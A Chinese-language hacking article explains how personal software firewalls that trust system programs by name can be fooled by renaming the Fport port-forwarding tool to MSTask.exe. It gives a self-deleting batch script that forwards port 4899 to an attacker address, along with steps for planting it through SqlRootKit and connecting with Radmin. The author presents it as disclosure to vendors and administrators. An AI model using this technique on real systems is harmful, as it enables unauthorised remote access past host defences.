一直以來都有一個夢想:要是能發現些漏洞或BUG什麼的該多好啊!於是整天對著電腦瞎弄瞎研究,研究什麼呢?研究如何突破防火牆(偶這裡指的防火牆是軟體型的個人防火牆,硬體的偶也沒條件。)嘿嘿,你還別說,還真沒白研究,還真給偶發現了大多數防火牆的通病。這個BUG能讓我們欺騙防火牆來達到訪外的目的,具體情況是怎麼樣的呢?請看下面的解說!
首先,我要介紹一下Windows系統特性,當一個程式運行時,它不能刪除,但卻能夠改名!而當系統裡的被保護程式遭到刪除或損壞或改名時系統就會及時調用備份檔案給予還原!我再講講防火牆,大家都知道許多防火牆的“應用程式規則”裡一般預設就會讓IE瀏覽器(iexplore.exe)、Outlook Express(msimn.exe)、lsass.exe、spoolsv.exe、MSTask.exe、winlogon.exe、services.exe、svchost.exe通過,而大多的防火牆認為只要是與規則裡的路徑及檔案名稱相同就Pass!以這樣的檢測方法來決定是否允許存取,但它卻完全沒考慮到如果是別的檔案替換的呢?——就相當於古裝片裡的易容術,易容後就認不得了!這就給了我們機會,我們可以利用這個BUG來欺騙防火牆來達到訪外的目的!
小知識:其實現在大多木馬採用的DLL插線程技術也就是利用了這個原理,它們首先隱形開啟一個認證允許存取的程式進程(如Iexplore.exe進程),接著把DLL型木馬插入這個線程內,然後訪外時就可輕鬆突破防火牆的限制了——因為防火牆是不會攔截已認證允許存取的程式的。
原理講完了,我們現在講講該如何利用這個BUG了!這裡我用虛擬機器做實驗,製造如下條件:
為了更符合現實,我給伺服器安裝了“天網防火牆”、Radmin(但由於防火牆指定了訪問IP地址,所以沒辦法正常串連!),MSSQL SERVER、Serv-u。首先我們用常用的方法進行連接埠轉寄,看看防火牆有什麼反應!
第一步,啟用AngelShell Ver 1.0裡的Fport(用來進行連接埠轉寄的服務端,幾乎可以轉寄任何連接埠),然後在本地用FportClient(用來進行連接埠轉寄的用戶端)監聽好!
第二步,直接在CMDSHELL裡運行“e:\www\fport.exe 4899 192.168.1.1 7788”,這時我們看到虛擬機器裡的“天網”對Fport馬上進行了攔截。
看到了吧!由於Fport並不是認證允許存取的,防火牆馬上就進行了攔截!OK,現在我們實行欺騙計劃,看偶如何突破防火牆的!還是執行第一步,然後建立一個批處理,內容如下:
ren MSTask.exe MSTask1.exe
ren fport.exe MSTask.exe
MSTask.exe 4899 192.168.1.1 7788
Del %0
命名為go.bat,接著用SqlRootKit把“Fport.exe”和go.bat 一起copy到目標機子的c:\winnt\system32\(也就是MSTask所在的目錄)在SqlRootKit裡執行go.bat(注意如果要改MSTask.exe的名的話就需要有管理員權限)。
當FportClient出現“已經接受到遠端電腦的串連!”時,用Radmin用戶端串連原生4899連接埠。
我們已經成功突破限制(由於防火牆沒有限制本地串連4899連接埠,我們用Fport轉寄了它的連接埠,登入時等於本地串連,因此我們能夠成功串連),這樣一來,我們本不能逃過防火牆的Fport便變成了一個有“插線程”技術的連接埠轉寄工具了!
據我實驗,國內的防火牆幾乎無一例外的“擁有”這個BUG!雖然這個BUG不會帶來什麼大的危害,但總是給入侵者多了一個黑我們的機會!
WTF老大說獨樂樂不如眾樂樂,所以我還是公布出來了,一是可以讓我們國內的防火牆有所改進,二是給網管們提個醒!由於小弟技術有限,難免會出現錯誤,歡迎各位指正批評。